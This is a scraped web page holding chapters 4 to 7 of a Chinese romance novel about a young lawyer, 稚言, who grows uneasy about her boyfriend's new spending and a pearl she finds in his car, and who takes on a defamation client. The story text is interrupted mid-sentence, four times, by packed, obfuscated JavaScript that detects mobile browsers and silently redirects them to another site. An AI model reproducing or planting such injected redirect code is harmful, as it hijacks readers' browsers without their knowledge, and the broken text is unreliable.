所以,那个女人就是钟明贤的客户吗? 刚听完谢芫说了那个八卦,她心里莫名有不好的预感。 “稚言,你怎么了?” 稚言觉得是自己太敏感了,作为律师跟当事人吃饭实在太正常了,“没事。” 稚言再往钟明贤的方向看了过去,他们隔得远,餐厅里还播放着轻音乐,她听不到他们在说什么。 稚言多看了几眼那个穿着红色紧身裙的女人,她身上的饰品和手上的包加起来,可以在南城买一间一百平方的房子,可见她经济实力雄厚,这也难怪她有底气去潜规则顾禹谦。 钟明贤和女人说话时,女人脸上带着笑。 像是看到什么不该看的,稚言把视线收了回来。 “我去一趟洗手间。”她起身去了离开了座位,朝着洗手间走去。 站在盥洗池前洗了洗手,再看了看镜子里的自己,从刚刚起她心里就像是有什么东西梗着,有一点难受。 但她又觉得是自己庸人自扰,那个女人虽然潜规则过顾禹谦,但未必会去潜规则钟明贤。 钟明贤虽然样貌并不差,算得上好看那一类,但她亲眼见过顾禹谦,颜值上,顾禹谦要比钟明贤高出太多。 从洗手间出来,稚言看着迎面走来的人,便愣住了。 对方显然比她更惊讶,他很快调整惊讶的情绪,“稚言,你怎么在这?” 稚言说:“我跟谢芫约了在这吃饭。” “是吗,这么巧,我也跟客户约在这。”钟明贤满脸歉意说:“本来今天是该陪你的,但今天约我的是大客户,她刚好有个案子让我做,我没办法拒绝。” “没事。” “待会吃了饭,你等我一下,我跟客户吃了饭就送你和谢芫回去,顺便我也想听听你今天庭辩的过程。” 稚言摇头,“不了,我跟谢芫打算待会再去附近逛商场。” “那行吧,我明天再给你补一顿饭。” “嗯。”稚言淡淡应了一声,“那我回去了。” 稚言刚走出几步,钟明贤叫住她,“稚言。” “什么?”她回头看他。 钟明贤说:“周六我想给你个惊喜,你腾出时间来。” “好。” 不知道为什么,她莫名地觉得跟钟明贤在这里相遇,显得生疏又不自然。 她回到了座位,尽量让自己看上去轻松一点。 谢芫凑了过来,“稚言,你猜我看到谁了?” 看她的表情,稚言便猜到了,她问:“我男朋友?” “你也看到了?” “刚遇到了。” 谢芫回头再看了一眼,座位上只有那个穿着红裙子的女人,钟明贤已经不在了,“他竟然跟那个潜规则过我男神的女人吃饭,有问题。” 稚言端起旁边的果汁喝了一口,“是他的客户。” “可那个女的不是一般的客户,你难道不担心吗?” “还好,对比起顾禹谦,我觉得他还是挺安全的。” “噗!”谢芫笑了笑,“那也是哈。” 稚言示意她盘子里的食物,就一块比巴掌还小的牛扒,她吃了二十分钟都没吃完,“就这么点你还吃这么久,赶紧吃了吧,待会不是要去逛吗?” “哎哟,第一次来这么高档的餐厅,多待一会儿吧。” 但稚言并不想待太久,她这个座位刚好能看到钟明贤和那个女客户,她只想快点走。 虽说她相信钟明贤的人品,但作为恋人,她不想看到别的女人暧昧地看着自己男朋友。 从餐厅里离开,稚言便和谢芫去附近的一个商场逛街。 谢芫挽着稚言的手臂,又跟她说起了八卦,“你知道刚刚跟钟明贤吃饭那个女人什么来头吗?” “不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392743|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谢芫说:“她叫霍秀雅,原本吧是个模特,几年前嫁给了一个比她大四十岁的老头,那老头就是雄振集团的董事长,不久前,雄振集团的董事长突发心梗去世,听说也没立遗嘱,她最近要跟继女打遗产官司。不过吧,官司怎么打,她估计都能得到一大笔钱。她死了老公,又得到一大笔钱,长得也还算漂亮,身材又好,普通男人估计很难把持住,也只有我高贵冷艳的老板才能坐怀不乱。” “所以,说来说去,你最终还是说到你老板头上了。” “嘿嘿,借个机会夸夸他嘛。”想到什么,谢芫叹了一口气,“怎么办?我感觉我要是一直待在臻铭,我每天都被我老板迷得神魂颠倒,这辈子可能都看不上其他男的了。” 谢芫想到什么莫名兴奋,“我跟你说,昨晚我老板不是被挂上论坛了吗,原本以为今天公司里的人一定会私底下脱粉,但结果却正好相反,公司里那些女的,今天都特别亢奋,都恨不得可以跟他签那份恋爱协议。” 谢芫又补充道:“实不相瞒,要是有这个机会,我也想签。” 稚言认真道:“挺好的,要是有机会跟他谈个恋爱,那分手后还能得到一百万,可以在南城给首付了。” “所以,你其实也想签对不对?” “我有男朋友了,并且暂时还没有劈腿的打算。” 谢芫笑了笑,“不过啊,我看过他前女友的照片,是那种肤白貌美,看上去又特别有气质的,而且还是个服装设计师,国外留过学的,总之牛逼得不行,我们这样的,他估计也看不上。” 稚言看了一眼谢芫,故作神秘道:“说起来,我今天还跟他喝了咖啡。” 谢芫以为自己听错,“谁?” “你老板。” “what?你跟我老板喝咖啡?真的假的?” “真的。” 谢芫张大了嘴看着她,一副很惊悚的模样,“不会吧。” “我也很惊讶。” “为什么?难道他想找你签恋爱协议吗?” “那倒不是,是今天庭审结束后,他找我去咖啡厅坐坐,说是想要个助理律师,问我想不想跳槽。” “我靠!他看上你了?”谢芫觉得有点不真实,她捧着脸看着稚言,“稚言,你今天一定表现得超棒,否则我老板那么挑的人,不会主动找你的。” 稚言笑了笑,“你再说,我可能要飘了。” “是真的,他对助理律师很挑剔,上一个上岗一周,就被他调走了,之后一直空着,都是他的秘书在兼任着。” 稚言觉得好奇,她今天再怎么表现出色,也只是初出茅庐,案子也不算特别复杂,而他名下的臻铭律师事务所,在南城是数一数二的,底下比她优秀的律师应该大把,他到底看中了自己哪点? 稚言一直想不通。 “你们臻铭那么多优秀的律师,不可能连个助理律师都挑不出来吧。” “不知道他怎么想的,总之我们律所一直在招,但是过去两个月了,他一个也没录取。”谢芫看着稚言,“所以,你是不是要过来跟我做同事了?” “我没答应他。” “为什么?”谢芫睁大了眼睛,“你知道做他的助理律师,一年下来能赚多少吗?至少是他分手一次给的那个数。” “如果我的计划是做一辈子律师,那我一定会的答应,但是我的目标是进检察院,就算答应,我也做不了几个月。” 这么好的机会就被她放弃了,谢芫痛心疾首,“我真的劝你不要读太多佛学的书了,姐,你这是丢了西瓜拣芝麻,就算你真考上了,你还得做好几年检察官助理,起码四五年后才能做到检察官,而且就算成为检察官,那收入跟做我老板的助理律师也差很多,你都在想些什么,视金钱为粪土吗?” “这就叫人各有志啊,谢小姐。” 谢芫捂着胸口,“唉,心痛,明明是你拒绝,我为什么觉得自己损失了好几个亿。” 5. chapter05 周六一早,钟明贤开着车来到稚言和谢芫租房的小区,在小区门口的早餐店买了两份早餐。 原本想要睡懒觉的谢芫听到有早餐吃,立马就爬了起来,皮蛋粥和肠粉,都是她爱吃的,“钟明贤,看在你还挺会做的份上,我今天就把我闺蜜借给你。” 钟明贤笑了笑,“那我还得谢谢你了。” 谢芫大口大口吃着肠粉,“不用太客气。” 稚言吃好了早餐,便进了房间换衣服。 客厅里只剩下坐在沙发上看手机的钟明贤和坐在餐桌上吃早餐的谢芫。 谢芫说:“钟明贤,看在你顺带给我买早餐的份上,我再告诉你一个秘密。” 钟明贤从手机屏幕上抬头,“什么秘密?” “就是那个霍秀雅,是不是你的客户?” 钟明贤顿了一下,他嘴角扯起一个笑,“怎么了?” “她前段时间一直在骚扰我老板,挺不要脸的,你可小心点她。” 钟明贤神色一顿,而后恢复常态,“是吗,不过我一早就跟她说过,我有女朋友的,她那么有钱,又怎么会看上一个有女朋友的人。” 谢芫朝他伸出大拇指,“干得漂亮。” 稚言换好了衣服出来,刚好听到他们的对话,她顺道带上房门,“可以走了。” 钟明贤站了起来,她打量着稚言,“你这身裙子很好看。” “啧啧。”谢芫一副被酸到的模样,“我还在呢,你们两注意影响。” 稚言笑了笑,“那我们走了,你看好家。” “走吧走吧。” 钟明贤走了过来,牵起稚言的手,出了门。 钟明贤的车停在小区外面,上了车,稚言拉过安全带系上,“要去哪?” “待会你就知道了。” “要这么神秘吗?” “不神秘怎么算惊喜?” 稚言笑了笑,“那我拭目以待。” 钟明贤驾车去了汽车城,最后在凯迪拉克4S店门口的停车位停下。 稚言看着眼前的4S店,觉得奇怪,“来4S店做什么?” “看车。” “……” 钟明贤停好了车,便带着稚言进了店里,销售人员立马过来,“你好,请问怎么称呼?” 钟明贤道:“我姓钟。” “钟先生,请问有感兴趣的车型吗?” 钟明贤从善如流道:“想看看CT6。” “好的,里面请。” 稚言虽然不怎么关注车,但也知道凯迪拉克是个轻奢品牌,车子的价格都不便宜。钟明贤目前的收入水平一年下来大概是十五万,他母亲去年患病,几乎把他的积蓄都消耗了,他哪来的钱买车? 4S的导购领着钟明贤来到CT6旁,“钟先生,这款就是我们的凯迪拉克CT6,目前展示出来的样车是高配的,你可以感受一下,另外,觉得外观以及舒适度OK的话,我们可以给您安排试驾。” “好的,我先看看。” 站在他身后的稚言扯了扯他后背的衣服,低声道:“你想换车?” 钟明贤笑了笑,“对,我打算换一辆车,然后现在开的那辆现代,以后就给你开着上下班。” 这就是钟明贤的惊喜? 稚言完全不觉得惊喜,反而觉得不自在,“我暂时不需要,我那边上下班本来就很方便。” “平时见客户,总要有辆车才方便。” “没事,公司也有公用的车。” “稚言,其实我还想告诉你一个好消息,那就是我很快就要成为律所的高级合伙人,作为高级合伙人,每天开着十几万块的车去见客户,这未免太掉价了吧。” 稚言脸上微微一愣。 钟明贤问:“高兴得说不出话来了吗?” “不是。”稚言刚刚并不是惊讶他当上了高级合伙人,而是惊讶他竟然说出‘开着十几万块的车去见客户,未免太掉价’这句话。 钟明贤家里并不是大富大贵的家庭,父母都是普通工薪阶级,老家在苍城的农村,父母在南城务工。 她和钟明贤在大四实习认识的,他比自己大一届,当时在同一个律师团队,一来二去两人就熟络了,认识一年多后,他们便正式确定了关系,只是有三年时间她去了上海读研究生,他们聚少离多。 可稚言总觉得,过去这三年,钟明贤跟以前比起来,似乎有很多变化。 这种变化她其实比较早就意识到了,但她把这种变化归结于成长,也就是说随着钟明贤在职场的时间越久,他的为人处世总会有所变化的。 可她依旧不能接受他说出那样的话。 想当初他是那么节省又踏实的一个人,从来不会跟人攀比。 钟明贤上了车试了试舒适度,并跟导购讨论车子的配置和参数,稚言并不是很懂,索性在一边不说话。 钟明贤和导购聊得很投入,到后来他们坐在了会客区,开始谈论价格。 那辆车总价要48万,钟明贤兴致勃勃,对于这个价格甚至并没有还价。 忽然,他的手机响了,他看了一眼来电显示,跟导购说了声便离开去接电话了。 稚言看着他走到了洗手间门口才接了电话。 导购觉得安静,便跟稚言聊了起来,“你老公是不是做金融的?” 稚言看着眼前的导购,“是男朋友,他是律师。” “听说律师都是很赚钱,好多都是年收入上百万,上千万的。” “还好,我们这个行业都是二八定律,你刚说的都是金字塔顶端的。” 导购笑了笑,“你男朋友一定也是金字塔顶端的。” 稚言一笑而过。 去年钟明贤还在为母亲治病的钱担心,今年却要换将近五十万的车,大概真的是升为合伙人之后收入提高了不少。 钟明贤聊了电话回来,他对稚言说:“我有个大客户临时有点事,我待会得回公司一趟。” 导购担心到嘴的鸭子飞了,忙道:“那钟先生,你看定金大概什么时候可以安排。” 钟明贤说:“我待会就安排,刷卡吧。” 导购脸上的欣喜之情溢于言表,立马领着钟明贤去收款处缴费。 钟明贤缴纳了定金,跟稚言出了4S店,“我先送你回去吧。” 稚言道:“你既然有紧急的事,那就赶紧去吧,我住的地方跟你的公司方向相反,这一来一回,你得耽搁一个小时。” 钟明贤犹豫了一会儿,“那我给你叫个车吧。” “不了,我自己叫,你先走。” “那行,回到家告诉我。” “嗯。” 钟明贤开着车走了,稚言目送他的车消失在马路上。 从踏入4S店,她的心里就一直有些不舒服,其实自她研究生毕业回到南城工作后,她和钟明贤之间的隔阂越来越大。 刚确认关系那一年,他会带她去吃大排档,下雨的时候把雨伞往她这边倾斜,听说她加班,怕她不按时吃饭,会悄悄地给她点外卖。 人总是会变的,稚言总这么安慰自己,其实她也变了,跟三年前的自己相比,她各方面都变了不少。 那她应该也要欣然接受钟明贤的变化。 她来到了马路边,拿出手机约车,今天周六,是出行高峰期,附近的车比较少,需要等待十几分钟。 附近倒是有个公交车站,稚言走过去看了看,这里没有直达住处的公交车,转来转去太远了。 她还是认命地预约了网约车。 一辆公交车停下,周围等公交的人都接连上了车,只留下她一个人。 公交车走后没多久,一辆宾利停了下来,对于豪车的好奇,稚言多看了两眼,不料下一瞬,一个高挑的男人从车上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392744|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 稚言一愣,没想到从车上下来的竟然是顾禹谦。 顾禹谦来到稚言面前,他今天穿了一身英伦风的休闲西装,单手插着裤袋,“稚小姐在等车?” 稚言回过神,她点头,“嗯。” 顾禹谦示意他身后的车,“不介意的话,我载你一程。” “不了,谢谢。” 这已经是她第二次毫不犹豫地拒绝他了,他还没经历过被一个女人段时间内拒绝两次的,顾禹谦问:“你是怎么做到每次都拒绝得这么干脆利落的?” “只是觉得,我和顾律师萍水相逢,实在不该受这个恩惠。”稚言的手机响了一下,她给顾禹谦看了看,“而且,我已经叫了车了。” 顾禹谦瞄了一眼她的手机屏幕,是个打车软件的界面,他失笑,“那看来,还是我自作多情了。” 稚言忙道:“怎么会,顾律师乐于助人,心地善良,这种优良品质值得赞颂,只是这力所能及的事,我不想麻烦顾律师。” 听着她一本正经地说着恭维的话,顾禹谦轻笑一声,“那下次有缘再见。” “好。” —— 十月份一过,天气就开始微微转凉。 清晨,南城商业中心的大厦被笼罩在雾里。 稚言穿着一身卡其色职业套装,提着手提包下了地铁,朝着南城大厦走去。 她目前在光合律师事务所工作,虽然在南城来说,光合律所并不算大,但她也只是暂时就业,等到十一月底,她会参加公务员考试。 忽然,她察觉到有人朝着她靠近,她下意识看过去,一个物体朝着她而来,她闪身一躲,避开了那个物体。 啪一声,刚刚的物体落了地,碎掉了。 是一枚鸡蛋,此时鸡蛋支离破碎,蛋白混合着蛋黄流了出来。 稚言看向朝她扔鸡蛋的人,她还记得,是吴胜的母亲,她通红的眼睛里充满了恨意,指着稚言大骂,“你这个贱胚子!你给杀人犯脱罪,你不得好死!我诅咒你,诅咒你们全家!你一定会遭报应的!” 广场上不少上班族投来了八卦的目光,有些还停了下来看。 稚言脸色并不好看,任是谁,一大早被人扔鸡蛋,还被诅咒,心情都不会好。她毫不畏缩地看着吴母,“法律是公平公正的,所有的判决都遵循法律,如果你不服,你大可以找出新的证据,让检察院抗诉,而不是像一条疯狗一样拦着我来咬!” “什么公平正义!放屁!张航杀了我儿子!他就该一命偿一命!他就该死!” “你搞清楚,法院既然判了他无罪,那他就是无罪,凭什么要一命偿一命?” “你收黑钱!打黑心官司!你没良心!” “说我打黑心官司,你倒是拿出证据来?空口胡说,这就是诽谤!”稚言觉得自己好不容易养成的从容和镇定,在泼妇面前不管用了,她干脆跟她怼到底,“我跟你说道理,讲法律,你可能听不懂,但我记得你也有个女儿,如果是你的女儿被丈夫压在地上暴打,你希不希望有人救她?还是说,你并不希望,因为你觉得她作为一个嫁出去的女人,被丈夫打死也是理所应当?或者别说你女儿,我就说你,如果有一天,你被丈夫摁在地上暴打,周围的人来来去去,但所有人都怕惹麻烦没有一个人上前帮你,你是不是就觉得自己活该?” 吴母被稚言这句话说得哑口无言,“别的事我管不着!是你包庇杀人犯!你就是该骂!” “那可不好意思,我没时间跟你一般见识!”稚言继续道:“只是我要告诉你,公然辱骂他人或者捏造事实诽谤他人,处五日以下拘留或者五百元以下罚款。如果你再敢辱骂我,我大可以起诉你。另外,我散打七段,你要是朝我扔鸡蛋,突然袭击我,我出于自卫把你踢出去那也是合法的!你好自为之!” 说完,稚言转身朝着办公大楼走去,留下一堆围观群众拍掌叫好。 6. chapter06 稚言进了大厦,上了电梯,她做了个深呼吸,而后下意识地摸着手上的佛珠。 她并不是一个生来就从容镇定的人,相反她性子烈,冲动易怒,而表面上的镇定是最近这几年才锻炼出来的。 但遇上泼妇,她最终还是爆发了。 来到办公室,她平复了一下情绪,端着杯子去了茶水间。 一进茶水间,随后两个女生也跟着进来,她们刚刚目睹了稚言怼泼妇的场面,都觉得很解气,“稚言,你刚刚好飒啊,太霸气了。” “对啊,超帅的!” 稚言一边洗杯子一边道:“只是看不惯她这种无理取闹的行为罢了。” “我也好想跟你一样啊,上次打了个离婚案,我也被被告方骚扰了好久,我都不敢反击。” 稚言道:“作为法律从业人员,下次遇到这种事,应该用合法的方式反击,法律是最强大的武器。” “嗯,下次再遇到,我一定不会心慈手软了。” 稚言端着泡好的茶回到座位上,桌上的电话响了,是她的上司周维打来的内线,让她去一趟办公室。 周维是光合律师事务所的高级合伙人,也是她的师兄,比她大两届,他们上大学在学生会一起共事过。 稚言敲门进了周维的办公室,“周律师。” 周维朝她示意面前的椅子,“稚言,坐。” 稚言走过去坐下。 周维推了推眼镜,“刚听说在楼下有一个被害人家属骚扰你,没事吧?” “没事。” “你刚研究生毕业就接了个话题度这么高的案子,虽然被害人家属比较难缠,但目前你也受到了不少关注,对于你以后的职业生涯,也算是开了个比较好的头。”周维笑了笑,“这不,我昨天就有个客户给我打电话,指定说让你来接她的案子。” “是什么案子?” “说实在,具体我也不清楚,她说暂时保密,只跟你直接沟通。” “那你给我她的联系方式,我待会联系一下她。” “可以,不过她今天会亲自过来的,到时候你们当面谈也可以。” “好。” 周维端起旁边的咖啡喝了一口,“这个客户是个服装设计师,前几个月成立了自己的品牌,我去年给她打过一场专利侵权案,后来她让我当她的法律顾问,一来二去也算是朋友,她这次指名道姓要你,你可要好好把握住机会。” “会的。” —— 周维说的那个客户,下午来了一趟事务所,稚言安排在公司的会议室里接待她。 对方穿了一身能凸显身材的斜肩针织裙,她样貌很出众,皮肤很白很细腻,棕色的长发微微卷曲,年龄大概跟她差不多。 饶是作为女人的稚言,看到她也不由温柔了几分。 坐下来后,稚言开启了录音笔,放在一旁。 对方做了一个简短的自我介绍,她名叫陈欣妍,是服装设计师,现在拥有自己的服装品牌。 陈欣妍捧着咖啡,情绪很低落,“其实,是我被告了。” 稚言问:“具体是因为哪方面的事,能否让我看看起诉状?” 陈欣妍看着她,“在我告诉你来龙去脉之前,我希望你可以跟我保证,这件事你需要保密,不能让其他人知道。” “没问题的。” 陈欣妍从随身包里取出了一份文件,递给稚言,“你先看看这份文件。” 稚言接过文件,这是原告方的起诉状,他看到了第一行,微微一怔,这起诉状的原告竟然是顾禹谦,而起诉状里面也写明了对陈欣妍的起诉原由。 稚言看完后才知道,原来当初在论坛上挂顾禹谦的就是眼前的人,也就是说她就是顾禹谦的前女友,和他签过那份恋爱协议的人。 上一周她在论坛上哭诉顾禹谦的渣男行为,并且还爆出了他们签下的协议,煽动了网络上许多人对顾禹谦发起了攻击。 而现在,顾禹谦起诉她侵害他的名誉权以及隐私权,要求她删除帖子,公开道歉,并赔偿损失。 稚言看完后,看向陈欣妍,“陈小姐,我想问你几个问题可以吗?” 陈欣妍说:“你问。” “上周在论坛上发的帖子,是你亲自发的吗?” 陈欣妍抿着唇,“是的,不过那天我喝了点酒,神志可能不是特别清晰。” “好的。”稚言继续问:“那当初你跟顾先生签下那份恋爱协议,是自愿还是被迫的?” 陈欣妍脸色有些难看,“是自愿的,但是跟他在一起,比协议上的那些条款要过分得多。” “嗯,这是后话。”稚言问:“那份协议你带来了吗?” 陈欣妍摇了摇头,“没有,不过我有电子版。” “你介意给我看看吗?” 陈欣妍从包里翻出手机,调出了那份协议的图片,稚言上次没怎么仔细看,现在仔细看了看,在协议的最后一条清楚地写明了这份协议属于个人隐私,不得泄露公开给第三人。 稚言把手机还给她,之后又问了几个相关问题,了解了一些情况,最后她问:“那陈小姐现在希望我怎么做?” “我希望你可以帮我打赢这场官司。” 稚言如实说:“陈小姐,我实话跟你说,根据我目前掌握的信息,我觉得你胜算不大,甚至可以说基本没有。” 陈欣妍道:“我知道,顾禹谦是业界有名的律师,想打败他很难,但我觉得,你可以试一试。” “不是这个问题,顾先生的起诉理由说得很清楚,而我刚刚也问了你相关问题,在侵害名誉权和隐私权上,你确实属于理亏,打这一场官司,对你来说是没必要的。” 陈欣妍皱起眉头,“可他都起诉我了,我要不打官司,能怎样?” “我建议庭外和解,让顾先生撤诉。” 一听和解,陈欣妍非常抗拒,“我在网络 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392745|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上曝光的东西都是属实,他确实就是这么一个不折不扣的渣男,网友攻击他,难道不是他罪有应得吗?” “曝光渣男,站在个人道德层面上,或许是正确的,但从法律上看,这样的行为确实侵犯了对方的名誉权和隐私权。法院不会因为他是渣男,就否定了他的名誉权和隐私权。而且你和顾先生没有婚姻事实,你们之间的关系不受法律保护。” 陈欣妍沉默了许久,越想越懊恼,“可是,他不会答应庭外和解撤诉的。” 稚言问:“怎么这么说?” “他很无情,根本不会管我的死活,我从前还对他抱有一丝期待,觉得他至少会念及旧情,不会对我怎么样,但是没想到他直接把我告上了法庭。” 对方怎么说在南城也有点名气,她直接把人家的事爆出来,确实也是侵犯了他的名誉权和隐私权,他作为一个律师,想到用起诉的方法,其实很正常。 但这些话,她不能直接跟陈欣妍说,看她现在的状态,根本听不得这样的话。 稚言道:“除非你有可以反驳的证据,否则这个案子一旦上了法庭,根本没有还口的余地,到时候的情况可能会更糟糕。庭外和解,这算是目前这个情况下最好的解决方法,所以我建议陈小姐可以试一试。” “不。”陈欣妍一口否定,“我说了,他不会答应。” 稚言耐心地继续和她聊,“那你判断的依据是?” “他……他已经把我拉黑了,我根本联系不上他,他也不愿意见我。”陈欣妍双手死死抓着手提袋的带子,“甚至……甚至他恨不得我死,我死了他也就清静了。” 稚言皱了皱眉,虽说她跟顾禹谦不熟悉,最近见过两次只能算萍水相逢,但是她感觉陈欣妍描述的人跟自己对顾禹谦的印象完全是两个不同的人。 而从陈欣妍的描述中看来,顾禹谦把她拉黑,极有可能是因为她单方面有过纠缠。 稚言问:“你和顾先生分手后,是否纠缠过他?” 陈欣妍明显不悦,她用怀疑的目光看着稚言,“这跟这件案子有关吗?” “抱歉,我只是想了解一下,如果不方便可以不说的。” 陈欣妍问:“那我这个案子,除了庭外和解,你真的没别的办法了吗?还是说,你其实是怕他,毕竟他是南城最出名的律师。” 稚言虽然研究生刚毕业没多久,但是上研究生之前也当过两年律师,见过各种各样的当事人,十个当事人之中,可能有八个不懂法律,甚至他们会对律师产生各种猜测和怀疑,她都习惯了。 “陈小姐,刚刚的建议只是我听完你的陈述后,给出我所认为的最佳方案。在顾先生的起诉状里,我也找不出漏洞,所以我只能这么建议。” 陈欣妍明显有些不耐烦,庭外和解根本不是她想要的结果,她心里认定了稚言是没这个能力,不敢跟顾禹谦对着干,她说:“那行吧,我先回去考虑考虑。” “好的。” 7. chapter07 稚言收起录音笔送她出了公司,而后回到自己的工位,林杨立即凑了过来,“言姐,刚刚那位美女找你打什么类型的官司,我可以参与不?” 稚言看了一眼旁边的林杨,这货明显就是看人家漂亮才感兴趣,“官司内容保密,另外,她还没确定要不要找我代理。” “好吧。”林杨道:“上次那个刑事案件我可是尽心尽力跑腿,后面有标的比较大的案子,别忘了我呀。” “好好好,一定带上你。” 放在的手机响了一下,稚言拿起来看了看,是钟明贤发来的消息,他今天提了车,说下班后来接她去吃饭。 稚言回了消息:去哪吃? 钟明贤:到时候你就知道了,对了,还有我爸妈也一起。 稚言:嗯。 钟明贤的父母,稚言是见过的,去年钟母患病,稚言去医院看过她几次。 七点钟的时候,钟明贤发来消息说很快到他们公司楼下,稚言收拾好东西便下楼了,和她一起进电梯的还有周维。 周维随口问:“稚言,今天那个客户怎么样?” “我下午跟她聊过,了解了一下情况,我认为官司没有必要打,建议她庭外和解。” “那客户的态度呢?” “她想要赢,但我觉得几乎没有可能。” 周维点了点头,“我相信你的判断,没必要的官司打了也没用。” “嗯。”要是别的律所合伙人,听到他这样给客户建议,或许会责怪她鲁莽,毕竟做律师只有打官司才能获得更多报酬,甚至很多律师劝说当事人打没必要打的官司,而她却直接劝当事人庭外和解。 周维随后又说了句,“陈小姐最近状态很不好,我估计跟这个案子有关,我问她她也不愿意说,还请你这边多费点心了。” 从周维这句话可以听得出来,他对陈欣妍十分关心。稚言点头,“好的。” 来到楼下,她一眼就看到了钟明贤的新车,黑色的车身像镜子一样锃亮,还没上车牌,虽然不算什么顶级豪车,但也吸引了一些路人的目光。 稚言走过去拉开副驾座的门上车。 钟明贤显然因为提了新车心情不错,他问:“怎么样,这车子是不是比之前那辆顺眼多了?” 稚言笑了笑,“价格是之前那辆的四倍,好看一点不是应该么?” 钟明贤打了方向盘,汇入主干道,“我那辆现代就放在家里,待会吃了饭,你直接开去你住的地方,明天就能开着来上班了。” 稚言道:“我跟你说过,我上班挺方便,不需要开车。” “但现在有车,平时见客户去法院,那不是更方便吗?” “真的不用,你卖了吧,你现在这辆车还要供,卖了也能减少一点负担。” “我现在很快就要成为律所的高级合伙人,这几万块我还不缺。” “那你另外处置,反正我不要。” 钟明贤脸上有些不悦,“稚言,你是不是在生气?” “哈?没有,我生什么气?” “你在气我把自己的旧车给你。” 稚言没有立即反驳,她为这件事生气吗?或许有一点,但她其实只是潜意识地不想接受,她说不出具体的原因,“明贤,我要是需要车,我可以自己挣钱买。” “那就是看不上那辆旧车了?”前方红绿灯,钟明贤踩了刹车,“那卖掉它,我再加几万给你买一辆新的。” 稚言觉得再跟他谈论这个话题,一定会吵起来,“车你自己处置,这个话题到此为止。” 钟明贤也没再继续谈论,绿灯亮,他松开刹车,车子继续前行。 车厢里十分安静。 稚言撑着下颌看着窗外的街景,感觉脚下有什么东西,她挪开脚,看到了车子的地毯上有一颗珠子,车厢里视线昏暗,她看不清,安全带限制也没办法弯腰去捡。 到了餐厅停车场,稚言解开安全带才捡起地上的珠子,是一颗珍珠,看样子是衣服上的装饰品。 她今天穿的是一身职业装,并没有珍珠装饰,也就是说在她之前,已经有女人坐过副驾驶。 “稚言,怎么了?” 稚言下了车,她朝着钟明贤展示手上的珍珠,试探性地问:“这是在你车上发现的,谁的?” 钟明贤愣了片刻,他笑了笑,“今天早上提了车后,下午我去了一趟法院办事,另一个女同事也一块去了,估计是她落下的。” ‘“那你还给她吧。” “别了,扔了吧,这种东西,也不值钱。” 稚言一话不说,走到附近的垃圾桶,随手扔了。 吃饭的餐厅是一家粤菜馆,属于中高档次,大堂里的桌子都有屏风挡开,形成一个小的空间,互不干扰。 加上钟明贤的父母,一共是四个人,钟明贤一口气点了八个菜,且都是不便宜的。 她这段时间总跟自己做心理建设,说服自己接受钟明贤消费方式的改变,毕竟他要是成为律所的高级合伙人,说明收入已经高了很多,以后的生活质量也会有所提升。 本来生活变好,她应该高兴,可她偏偏觉得不自在。 饭桌上,钟母说:“阿贤,稚言,你们两打算什么时候结婚?” 钟明贤道:“妈,你别催,我和稚言自有计划。” “也不是催,而是你们在一起也好几年了,确实该考虑了,并且我跟你爸现在还能动,你们两生了孩子,平时工作忙,我们也能帮忙带,是不是?” 钟明贤道:“我要升高级合伙人了,未来一定有的忙,稚言才刚研究生毕业,是稳定工作的时候,要是现在生孩子,我们两都要被影响。” 钟母道:“你现在升了什么合伙人了,赚钱的事就该是你考虑的,稚言毕竟是女人,以后总要回归家庭,你还想靠她赚钱养家吗?” 回归家庭?稚言可从没这么想过。 她看向钟父钟母,“伯母,我这两年确实没有结婚的打算,明贤说得对,我需要给我的事业打基础。对于事业,我个人是觉得很重要的,这跟我到底要不要养家无关,而是我热爱这份事业,我希望能通过它实现自己的价值。” 钟母说:“女孩子能有这个思想,挺好的,只是女人一直顾事业也没什么用啊,就算事业搞得好,以后还得顾家庭,两边操劳,我们是怕你太累。” 钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392746|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 